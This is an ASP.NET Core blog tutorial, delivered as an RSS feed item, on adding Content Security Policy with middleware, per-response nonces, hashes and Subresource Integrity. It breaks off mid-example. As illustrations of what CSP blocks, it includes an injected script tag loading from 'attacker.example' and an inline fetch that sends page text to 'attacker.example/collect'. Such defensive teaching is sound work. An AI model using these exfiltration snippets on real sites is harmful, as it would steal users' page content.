<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:googleplay="http://www.google.com/schemas/play-podcasts/1.0"><channel><title><![CDATA[ASP Today]]></title><description><![CDATA[Expert insights into Microsoft ASP.NET, classic ASP, and the latest web development trends.]]></description><link>https://www.asptoday.com</link><image><url>https://substackcdn.com/image/fetch/$s_!LonC!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa58c47c8-e39c-48e4-826a-d05e9ca9d537_509x509.jpeg</url><title>ASP Today</title><link>https://www.asptoday.com</link></image><generator>Substack</generator><lastBuildDate>Mon, 30 Nov 2026 21:54:06 GMT</lastBuildDate><atom:link href="https://www.asptoday.com/feed" rel="self" type="application/rss+xml"/><copyright><![CDATA[Matthew Pomar]]></copyright><language><![CDATA[en]]></language><webMaster><![CDATA[asptoday@substack.com]]></webMaster><itunes:owner><itunes:email><![CDATA[asptoday@substack.com]]></itunes:email><itunes:name><![CDATA[Matthew Pomar]]></itunes:name></itunes:owner><itunes:author><![CDATA[Matthew Pomar]]></itunes:author><googleplay:owner><![CDATA[asptoday@substack.com]]></googleplay:owner><googleplay:email><![CDATA[asptoday@substack.com]]></googleplay:email><googleplay:author><![CDATA[Matthew Pomar]]></googleplay:author><itunes:block><![CDATA[Yes]]></itunes:block><item><title><![CDATA[Content Security Policy in ASP.NET Core: Protecting Web Applications Against Browser-Based Attacks]]></title><description><![CDATA[Protect ASP.NET Core apps from browser attacks using CSP, nonces, hashes, and security headers. #ASPToday #aspnetcore #dotnet #CSP #WebSecurity]]></description><link>https://www.asptoday.com/p/content-security-policy-in-aspnet</link><guid isPermaLink="false">https://www.asptoday.com/p/content-security-policy-in-aspnet</guid><dc:creator><![CDATA[Jenny Muralidharan]]></dc:creator><pubDate>Tue, 24 Nov 2026 15:03:10 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!BE7G!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62145450-4c19-42f8-9a11-e2f8fa0c2e02_1672x941.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Your ASP.NET Core application may have secure authentication, carefully validated API requests, encrypted connections, and a well-protected database. But what happens when an attacker manages to execute JavaScript inside a user's browser? </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!BE7G!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62145450-4c19-42f8-9a11-e2f8fa0c2e02_1672x941.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!BE7G!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62145450-4c19-42f8-9a11-e2f8fa0c2e02_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!BE7G!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62145450-4c19-42f8-9a11-e2f8fa0c2e02_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!BE7G!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62145450-4c19-42f8-9a11-e2f8fa0c2e02_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!BE7G!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62145450-4c19-42f8-9a11-e2f8fa0c2e02_1672x941.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!BE7G!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62145450-4c19-42f8-9a11-e2f8fa0c2e02_1672x941.png" width="1456" height="819" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/62145450-4c19-42f8-9a11-e2f8fa0c2e02_1672x941.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:819,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:1906815,&quot;alt&quot;:&quot;Laptop displaying ASP.NET Core CSP blocking malicious scripts and allowing trusted browser resources. &quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://www.asptoday.com/i/226171719?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62145450-4c19-42f8-9a11-e2f8fa0c2e02_1672x941.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Laptop displaying ASP.NET Core CSP blocking malicious scripts and allowing trusted browser resources. " title="Laptop displaying ASP.NET Core CSP blocking malicious scripts and allowing trusted browser resources. " srcset="https://substackcdn.com/image/fetch/$s_!BE7G!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62145450-4c19-42f8-9a11-e2f8fa0c2e02_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!BE7G!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62145450-4c19-42f8-9a11-e2f8fa0c2e02_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!BE7G!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62145450-4c19-42f8-9a11-e2f8fa0c2e02_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!BE7G!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62145450-4c19-42f8-9a11-e2f8fa0c2e02_1672x941.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button class="pencraft pc-reset pencraft icon-container restack-image buttonBase-tqxFUX" tabindex="0" type="button"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button class="pencraft pc-reset pencraft icon-container view-image buttonBase-tqxFUX" tabindex="0" type="button"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>A single malicious script can attempt to steal sensitive information, manipulate application interfaces, perform unauthorized actions, or load additional resources from attacker-controlled websites. Even applications with strong server-side security can be exposed to browser-based attacks through cross-site scripting (XSS), compromised third-party scripts, and unsafe content rendering. Content Security Policy (CSP) provides an additional layer of protection by allowing applications to define which resources browsers may load and execute. </p><p>In this guide, we'll implement CSP in ASP.NET Core, explore nonces and hashes, configure strict security policies, handle third-party resources, collect violation reports, and build a practical deployment strategy that strengthens browser security without breaking legitimate application functionality. </p><h2>Why Browser Security Requires a Separate Defense Layer</h2><p>Imagine a healthcare appointment platform built with ASP.NET Core.</p><p>Patients use the application to book appointments, view medical records, and communicate with healthcare providers.</p><p>The backend follows established security practices.</p><p>Authentication uses secure cookies.</p><p>Authorization policies restrict access to patient information.</p><p>Database operations use parameterized queries.</p><p>Sensitive API endpoints validate incoming requests.</p><p>In our earlier guide on <em><a href="https://www.asptoday.com/p/securing-your-aspnet-applications">Securing Your ASP.NET Applications: Top Security Practices</a>,</em> we explored multiple layers of application security, including cross-site scripting prevention, output encoding, and security headers. Content Security Policy builds upon these practices by introducing an additional layer of protection enforced directly by the browser. </p><p>The application appears well protected.</p><p>However, the frontend includes a search feature that displays user-provided information.</p><p>A developer accidentally renders untrusted content as HTML instead of plain text.</p><p>An attacker discovers the behavior and submits content containing malicious JavaScript.</p><p>When another user opens the affected page, the browser may execute the injected code.</p><p>The attacker has bypassed neither the authentication system nor the database permissions.</p><p>Instead, the attacker has exploited the browser&#8217;s trust in content delivered by the application.</p><p>This is the problem Content Security Policy helps address.</p><p>CSP gives the application a way to communicate security restrictions directly to the browser.</p><p>Even when malicious content reaches a page, a correctly configured CSP may prevent the browser from executing it.</p><p>However, CSP is a defense-in-depth mechanism, not a replacement for preventing injection vulnerabilities.</p><p>The application must still validate input appropriately, encode output, sanitize untrusted HTML when necessary, and use safe DOM APIs.</p><h2>What Is Content Security Policy?</h2><p>Content Security Policy is a browser security mechanism defined through HTTP response headers.</p><p>It allows a website to specify which sources are permitted for different types of resources.</p><p>For example, an application can restrict JavaScript execution to scripts authorized by the application.</p><p>It can restrict stylesheets, images, fonts, network connections, frames, and other resources.</p><p>A simple CSP header looks like this:</p><pre><code><code>Content-Security-Policy: default-src 'self'</code></code></pre><p>The directive <code>default-src 'self'</code> establishes a fallback restriction for several resource categories.</p><p>It tells the browser that covered resources should generally come from the application&#8217;s own origin unless another directive overrides the restriction.</p><p>The term <code>'self'</code> refers to the origin of the protected document.</p><p>An origin includes the scheme, hostname, and port.</p><p>For example:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;da6dcd5b-b50b-4c00-97c8-8fb228229865&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">https://appointments.example.com</code></pre></div><p>is a different origin from:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;adfe1b99-e96c-400f-b873-c262f2f39865&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">https://api.example.com</code></pre></div><p>This distinction matters when an ASP.NET Core frontend communicates with APIs hosted on separate domains.</p><h2>Understanding the Main CSP Directives</h2><p>CSP consists of directives that control specific browser behaviors.</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;2e20db04-1827-439a-8342-d2875325a075&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">Directive         Purpose
default-src       Fallback policy for supported resource types
script-src        Controls permitted JavaScript sources and execution
style-src         Controls stylesheet sources and inline styles
img-src           Controls image sources
font-src          Controls font sources
connect-src       Controls fetch, XMLHttpRequest, WebSocket, and related connections
frame-src         Controls which resources the page may embed in frames
frame-ancestors   Controls which parent pages may embed your application
object-src        Controls plugin-based content such as objects and embeds
base-uri          Restricts the document's HTML base URL
form-action       Restricts form submission destinations
report-to         Specifies a reporting endpoint group</code></pre></div><p>Some directives do not inherit from <code>default-src</code>.</p><p>For example, <code>frame-ancestors</code>, <code>base-uri</code>, and <code>form-action</code> must be configured explicitly when those restrictions are required.</p><p>This is an important detail.</p><p>A policy containing only <code>default-src 'self'</code> does not provide every protection that developers might expect.</p><h2>Understanding the Browser&#8217;s Enforcement Process</h2><p>Consider a page that includes:</p><pre><code><code>&lt;script src="/js/dashboard.js"&gt;&lt;/script&gt;</code></code></pre><p>The JavaScript file comes from the application&#8217;s own origin.</p><p>Now imagine an attacker injects:</p><pre><code><code>&lt;script src="https://attacker.example/steal.js"&gt;&lt;/script&gt;</code></code></pre><p>If the response includes:</p><pre><code><code>Content-Security-Policy: script-src 'self'</code></code></pre><p>the browser generally allows the local script but blocks the script hosted on the attacker-controlled origin.</p><p>CSP can also restrict inline JavaScript.</p><p>For example:</p><pre><code><code>&lt;script&gt;
    console.log("Running inline JavaScript");
&lt;/script&gt;</code></code></pre><p>Under a policy such as:</p><pre><code><code>Content-Security-Policy: script-src 'self'</code></code></pre><p>this inline script is blocked unless another policy mechanism explicitly authorizes it.</p><p>That is significant because many XSS attacks rely on injecting executable JavaScript into an existing page.</p><p>However, allowing scripts from an origin does not mean every script on that origin is safe.</p><p>An attacker who can control an allowed script resource, or exploit a trusted script, may still find ways to execute malicious code.</p><p>This is one reason strict nonce-based or hash-based CSP policies are often preferable to broad host allowlists.</p><h2>Step 1: Create an ASP.NET Core Application</h2><p>Let&#8217;s build a small application to demonstrate CSP.</p><p>Create a new ASP.NET Core MVC project:</p><pre><code><code>dotnet new mvc -n SecureAppointments</code></code></pre><p>Navigate into the project:</p><pre><code><code>cd SecureAppointments</code></code></pre><p>The project contains the standard ASP.NET Core MVC structure:</p><pre><code><code>SecureAppointments/
    |
    +-- Controllers/
    +-- Models/
    +-- Views/
    +-- wwwroot/
    +-- Program.cs
    +-- appsettings.json</code></code></pre><p>We&#8217;ll start with a basic CSP and gradually strengthen it.</p><p>The examples use ASP.NET Core with modern .NET versions, including .NET 10.</p><h2>Step 2: Add a Basic CSP Header</h2><p>ASP.NET Core allows us to add response headers through middleware.</p><p>Open <code>Program.cs</code>.</p><p>A basic implementation might look like this:</p><pre><code><code>var builder = WebApplication.CreateBuilder(args);

builder.Services.AddControllersWithViews();

var app = builder.Build();

app.UseHttpsRedirection();

app.Use(async (context, next) =&gt;
{
    context.Response.Headers["Content-Security-Policy"] =
        "default-src 'self'; " +
        "script-src 'self'; " +
        "style-src 'self'; " +
        "img-src 'self' data:; " +
        "font-src 'self'; " +
        "object-src 'none'; " +
        "base-uri 'self'; " +
        "frame-ancestors 'none'; " +
        "form-action 'self'";

    await next();
});

app.UseStaticFiles();

app.UseRouting();

app.UseAuthorization();

app.MapDefaultControllerRoute();

app.Run();</code></code></pre><p>This middleware adds a CSP header to responses that pass through it.</p><p>Let&#8217;s examine the policy.</p><pre><code><code>default-src 'self'</code></code></pre><p>Restricts covered resource types to the application&#8217;s own origin by default.</p><pre><code><code>script-src 'self'</code></code></pre><p>Allows scripts from the application&#8217;s origin but blocks ordinary inline scripts.</p><pre><code><code>style-src 'self'</code></code></pre><p>Allows stylesheets from the application&#8217;s origin but blocks inline styles unless separately authorized.</p><pre><code><code>img-src 'self' data:</code></code></pre><p>Allows same-origin images and images using <code>data:</code> URLs.</p><p>Only include <code>data:</code> if the application actually requires it.</p><pre><code><code>object-src 'none'</code></code></pre><p>Blocks plugin-based object content.</p><pre><code><code>base-uri 'self'</code></code></pre><p>Restricts the HTML base URL.</p><pre><code><code>frame-ancestors 'none'</code></code></pre><p>Prevents other pages from embedding the application in frames.</p><pre><code><code>form-action 'self'</code></code></pre><p>Restricts form submission targets to the application&#8217;s own origin.</p><p>This is a useful starting policy, but it is not yet suitable for every application.</p><p>For example, the default ASP.NET Core MVC template may include inline JavaScript in its development layout.</p><p>That code would be blocked.</p><p>The application must either move such code into external files or explicitly authorize it through a secure CSP mechanism.</p><h2>Step 3: Understand Why <code>unsafe-inline</code> Is Dangerous</h2><p>Developers sometimes encounter CSP errors after enabling a policy.</p><p>The browser console might report that an inline script was blocked.</p><p>A tempting solution is to add:</p><pre><code><code>script-src 'self' 'unsafe-inline'</code></code></pre><p>This permits inline JavaScript in a conventional source-list policy.</p><p>Unfortunately, it also weakens one of CSP&#8217;s most valuable protections.</p><p>An attacker who can inject inline script content may now be able to execute it.</p><p>Consider:</p><pre><code><code>&lt;script&gt;
    fetch("https://attacker.example/collect", {
        method: "POST",
        body: document.body.innerText
    });
&lt;/script&gt;</code></code></pre><p>This illustrative attack attempts to send page content to an external server.</p><p>A restrictive CSP can block the inline script before it executes.</p><p>Adding <code>'unsafe-inline'</code> may remove that protection.</p><p><code>'unsafe-eval'</code> is another risky setting.</p><p>It permits certain string-to-code execution mechanisms, such as <code>eval()</code>.</p><p>Avoid enabling either option merely to silence browser warnings.</p><p>Instead, update the application to use external scripts, nonces, or hashes.</p><h2>Step 4: Move Inline JavaScript Into External Files</h2><p>Consider an MVC view containing:</p><pre><code><code>&lt;button id="loadAppointments"&gt;
    Load Appointments
&lt;/button&gt;

&lt;script&gt;
    document
        .getElementById("loadAppointments")
        .addEventListener("click", () =&gt; {
            console.log("Loading appointments");
        });
&lt;/script&gt;</code></code></pre><p>Under our basic policy, the inline script is blocked.</p><p>A straightforward solution is to move the JavaScript into an external file.</p><p>Create:</p><pre><code><code>wwwroot/js/appointments.js</code></code></pre><p>Add:</p><pre><code><code>document
    .getElementById("loadAppointments")
    ?.addEventListener("click", () =&gt; {
        console.log("Loading appointments");
    });</code></code></pre><p>Then reference it from the view:</p><pre><code><code>&lt;button id="loadAppointments"&gt;
    Load Appointments
&lt;/button&gt;

&lt;script src="~/js/appointments.js"&gt;&lt;/script&gt;</code></code></pre><p>The browser can load the file because it comes from the application&#8217;s own origin.</p><p>This approach improves separation between HTML and JavaScript.</p><p>It also makes the application easier to maintain.</p><p>For many traditional MVC applications, moving inline JavaScript into external files is the simplest way to adopt CSP.</p><h2>Step 5: Understand CSP Nonces</h2><p>Sometimes an application genuinely needs inline JavaScript.</p><p>For example, a server-rendered page may need a small initialization script containing request-specific configuration.</p><p>A CSP nonce allows the server to authorize a particular inline script.</p><p>A nonce is a cryptographically random value generated for an individual response.</p><p>The server places the nonce in the CSP header.</p><p>The same value appears on the script element.</p><p>For example:</p><pre><code><code>Content-Security-Policy: script-src 'nonce-abc123'</code></code></pre><p>And:</p><pre><code><code>&lt;script nonce="abc123"&gt;
    console.log("Authorized script");
&lt;/script&gt;</code></code></pre><p>The browser compares the nonce values.</p><p>If they match, the inline script is authorized.</p><p>The value <code>abc123</code> is only an illustration.</p><p>Real CSP nonces must be unpredictable and generated using a cryptographically secure random number generator.</p><p>They must also be regenerated for each response.</p><p>A fixed nonce provides little meaningful protection.</p><h2>Step 6: Generate Secure CSP Nonces in ASP.NET Core</h2><p>Let&#8217;s create middleware that generates a nonce for each response.</p><p>Create a folder:</p><pre><code><code>Middleware/</code></code></pre><p>Inside it, create:</p><pre><code><code>CspNonceMiddleware.cs</code></code></pre><p>Add:</p><pre><code><code>using System.Security.Cryptography;

namespace SecureAppointments.Middleware;

public sealed class CspNonceMiddleware
{
    private readonly RequestDelegate _next;

    public CspNonceMiddleware(RequestDelegate next)
    {
        _next = next;
    }

    public async Task InvokeAsync(HttpContext context)
    {
        byte[] nonceBytes = RandomNumberGenerator.GetBytes(32);

        string nonce = Convert.ToBase64String(nonceBytes);

        context.Items["CspNonce"] = nonce;

        string policy =
            "default-src 'self'; " +
            $"script-src 'nonce-{nonce}' 'strict-dynamic'; " +
            "style-src 'self'; " +
            "img-src 'self' data:; " +
            "font-src 'self'; " +
            "connect-src 'self'; " +
            "object-src 'none'; " +
            "base-uri 'self'; " +
            "frame-ancestors 'none'; " +
            "form-action 'self'";

        context.Response.Headers["Content-Security-Policy"] =
            policy;

        await _next(context);
    }
}</code></code></pre><p>The middleware generates 32 random bytes.</p><p>It converts them into a Base64 string suitable for use as a CSP nonce.</p><p>It stores the value in <code>HttpContext.Items</code>, making it available during view rendering.</p><p>It then builds a policy that includes the nonce.</p><p>Notice the use of:</p><pre><code><code>'strict-dynamic'</code></code></pre><p>We&#8217;ll examine this directive shortly.</p><p>One important distinction is that this policy no longer uses <code>'self'</code> as a script source.</p><p>Under this strict policy, external scripts also need an appropriate nonce or another authorization mechanism.</p><p>Simply hosting a script in <code>wwwroot</code> is no longer sufficient.</p><h2>Step 7: Register the CSP Middleware</h2><p>Update <code>Program.cs</code>:</p><pre><code><code>using SecureAppointments.Middleware;

var builder = WebApplication.CreateBuilder(args);

builder.Services.AddControllersWithViews();

var app = builder.Build();

app.UseHttpsRedirection();

app.UseMiddleware&lt;CspNonceMiddleware&gt;();

app.UseStaticFiles();

app.UseRouting();

app.UseAuthorization();

app.MapDefaultControllerRoute();

app.Run();</code></code></pre><p>The middleware now generates a nonce for each request passing through it.</p><p>In a production application, CSP should generally be applied to relevant HTML responses.</p><p>Applying the same policy indiscriminately to API responses, static files, and downloadable content is not always necessary.</p><p>You can refine the middleware to target HTML responses or apply different policies to different endpoint groups.</p><p>For the current demonstration, the broad middleware placement keeps the implementation easy to follow.</p><h2>Step 8: Use the Nonce in Razor Views</h2><p>Open a Razor view such as:</p><pre><code><code>Views/Home/Index.cshtml</code></code></pre><p>Retrieve the nonce:</p><pre><code><code>@{
    var nonce = Context.Items["CspNonce"] as string;
}</code></code></pre><p>Then use it on an inline script:</p><pre><code><code>&lt;script nonce="@nonce"&gt;
    console.log("Authorized CSP script");
&lt;/script&gt;</code></code></pre><p>The rendered response contains the same nonce in the CSP header and the script element.</p><p>Razor attribute encoding handles the value appropriately.</p><p>The browser can execute the script because it has been explicitly authorized.</p><p>An injected script without the matching nonce should be blocked under the strict policy.</p><p>However, nonce-based CSP is not a substitute for safe HTML rendering.</p><p>If an attacker can inject content into an already trusted script or otherwise exploit a trusted execution path, CSP may not prevent the attack.</p><h2>Step 9: Authorize External Scripts With Nonces</h2><p>Our application may use an external JavaScript file:</p><pre><code><code>&lt;script src="/js/appointments.js"&gt;&lt;/script&gt;</code></code></pre><p>Under the strict nonce policy, this script is not automatically authorized.</p><p>Add the nonce:</p><pre><code><code>@{
    var nonce = Context.Items["CspNonce"] as string;
}

&lt;script
    nonce="@nonce"
    src="~/js/appointments.js"&gt;
&lt;/script&gt;</code></code></pre><p>This allows the script to execute under the nonce-based policy.</p><p>The approach works for server-rendered pages because the server can attach the correct nonce to script elements.</p><p>But remember that nonce values are response-specific.</p><p>If you cache rendered HTML containing a nonce while generating a different CSP header, the values may no longer match.</p><p>If you reuse the entire cached response, including the same nonce, across multiple requests, you undermine the intended per-response uniqueness.</p><p>Full-page caching and nonce-based CSP therefore require careful coordination.</p><h2>Step 10: Understand <code>strict-dynamic</code></h2><p>The <code>'strict-dynamic'</code> keyword changes how supported browsers evaluate script trust.</p><p>Consider:</p><pre><code><code>Content-Security-Policy:
    script-src 'nonce-randomvalue' 'strict-dynamic'</code></code></pre><p>A script carrying the correct nonce is trusted.</p><p>If that trusted script dynamically creates another script element through a non-parser-inserted mechanism, the browser may allow the new script to load without requiring it to match a traditional source allowlist.</p><p>For example:</p><pre><code><code>const script = document.createElement("script");

script.src = "/js/dashboard-charts.js";

document.head.appendChild(script);</code></code></pre><p>This can be useful for applications that dynamically load JavaScript modules or supporting libraries.</p><p>However, it also creates a significant responsibility.</p><p>A trusted script must not load attacker-controlled URLs.</p><p>If a trusted script constructs script URLs from untrusted input, <code>'strict-dynamic'</code> can allow that trust to propagate to malicious resources.</p><p>The objective is to establish a small, carefully controlled set of trusted entry points.</p><p>For compatibility with older browsers, some deployments use fallback source expressions, but those fallbacks must be reviewed for their security implications.</p><h2>Step 11: Use CSP Hashes for Stable Inline Scripts</h2><p>Nonces are not the only way to authorize inline JavaScript.</p><p>CSP also supports cryptographic hashes.</p><p>Suppose a page contains a stable inline script:</p><pre><code><code>&lt;script&gt;
console.log("Application initialized");
&lt;/script&gt;</code></code></pre><p>A hash-based policy can authorize that exact script content.</p><p>For example, generate a SHA-256 hash using a build-time tool or script.</p><p>The CSP header can then contain a source expression in this form:</p><pre><code><code>Content-Security-Policy:
    script-src 'sha256-BASE64_HASH_VALUE'</code></code></pre><p><code>BASE64_HASH_VALUE</code> must be replaced with the actual Base64-encoded SHA-256 digest of the script&#8217;s exact contents.</p><p>Whitespace matters.</p><p>Changing a space, newline, or character changes the hash.</p><p>That makes hashes suitable for stable inline scripts whose contents do not vary between responses.</p><p>Nonces are generally more convenient for dynamically generated server-rendered scripts.</p><p>Hashes are often useful for static content and carefully controlled build outputs.</p><h2>Step 12: Generate a CSP Hash With .NET</h2><p>Let&#8217;s create a simple C# example that calculates the hash of a script.</p><pre><code><code>using System.Security.Cryptography;
using System.Text;

string script =
    "console.log(\"Application initialized\");";

byte[] bytes = Encoding.UTF8.GetBytes(script);

byte[] hash = SHA256.HashData(bytes);

string base64Hash = Convert.ToBase64String(hash);

Console.WriteLine($"'sha256-{base64Hash}'");</code></code></pre><p>The output can be included in a CSP policy.</p><p>For example:</p><pre><code><code>script-src 'sha256-...'</code></code></pre><p>The script content used to calculate the hash must match the inline script content delivered to the browser.</p><p>Do not calculate the hash over the surrounding <code>&lt;script&gt;</code> tags.</p><p>Only the script&#8217;s actual contents are hashed.</p><p>For production systems, generate hashes through a controlled build process rather than manually maintaining them.</p><h2>Step 13: Protect Stylesheets Without Weakening CSP</h2><p>JavaScript is not the only resource controlled by CSP.</p><p>Stylesheets can also be restricted.</p><p>A policy such as:</p><pre><code><code>style-src 'self'</code></code></pre><p>allows stylesheets from the application&#8217;s own origin.</p><p>But it generally blocks inline style elements and style attributes unless an appropriate authorization mechanism is present.</p><p>Consider:</p><pre><code><code>&lt;div style="color: red"&gt;
    Important message
&lt;/div&gt;</code></code></pre><p>Under a restrictive style policy, the inline style may be blocked.</p><p>The preferred solution is often to move styles into CSS classes.</p><pre><code><code>&lt;div class="important-message"&gt;
    Important message
&lt;/div&gt;</code></code></pre><p>Then define the class in an external stylesheet:</p><pre><code><code>.important-message {
    color: red;
}</code></code></pre><p>This reduces reliance on inline styling.</p><p>For applications that require inline <code>&lt;style&gt;</code> elements, CSP supports nonce-based or hash-based authorization in appropriate contexts.</p><p>However, style attributes have different authorization behavior from style elements, so developers should not assume that a nonce on a style element authorizes arbitrary inline style attributes.</p><h2>Step 14: Handle Third-Party Scripts Carefully</h2><p>Modern applications frequently use third-party resources.</p><p>Examples include analytics platforms, payment providers, customer support widgets, and mapping services.</p><p>A simple policy might allow scripts from an external provider:</p><pre><code><code>script-src 'self' https://cdn.example.com</code></code></pre><p>But this introduces additional trust.</p><p>The browser may execute scripts served from that permitted origin.</p><p>If the provider is compromised, the application may become exposed.</p><p>A strict nonce-based policy can reduce dependence on broad host allowlists, but it does not eliminate the risk of trusting third-party JavaScript.</p><p>As we discussed in our previous article on <em><a href="https://www.asptoday.com/p/software-supply-chain-security-for">Software Supply Chain Security for ASP.NET Core: NuGet, SBOMs, Signing, and Dependency Risk</a></em>, every external dependency introduces a new trust relationship. The same principle applies to browser-side JavaScript, where a compromised third-party library can threaten application security even when the backend remains protected.</p><p>Before integrating a third-party script, evaluate whether it is necessary, whether it can be self-hosted, and what permissions or data access it receives.</p><p>Where appropriate, use Subresource Integrity (SRI) to verify the expected contents of externally hosted static scripts.</p><p>SRI is particularly useful for versioned, immutable assets.</p><p>It is less suitable for scripts whose contents change frequently without coordinated integrity updates.</p><h2>Step 15: Understand Subresource Integrity</h2><p>Subresource Integrity allows a browser to verify that a fetched resource matches an expected cryptographic hash.</p><p>For example:</p><pre><code><code>&lt;script
    src="https://cdn.example.com/library.js"
    integrity="sha384-REPLACE_WITH_REAL_HASH"
    crossorigin="anonymous"&gt;
&lt;/script&gt;</code></code></pre><p>The browser calculates the resource&#8217;s hash and compares it with the value in the <code>integrity</code> attribute.</p><p>If the content does not match, the browser rejects the resource.</p><p>This helps protect against unexpected changes to external assets.</p><p>However, SRI and CSP solve different problems.</p><p>CSP controls which resources may be loaded or executed.</p><p>SRI verifies the content of a particular resource.</p><p>Using them together can provide stronger protection.</p><p>The integrity value must be calculated from the actual approved resource.</p><p>Do not copy placeholder hashes into production code.</p><h2>Step 16: Configure <code>connect-src</code> for APIs</h2><p>Our healthcare appointment platform may communicate with an API hosted on a separate origin.</p><p>For example:</p><pre><code><code>Frontend:
https://appointments.example.com

API:
https://api.example.com</code></code></pre><p>If the CSP contains:</p><pre><code><code>connect-src 'self'</code></code></pre><p>the browser may block frontend requests to the API because the API is hosted on a different origin.</p><p>We can explicitly allow it:</p><pre><code><code>connect-src 'self' https://api.example.com</code></code></pre><p>This permits supported browser connections to the specified API origin.</p><p>For example:</p><pre><code><code>const response = await fetch(
    "https://api.example.com/appointments"
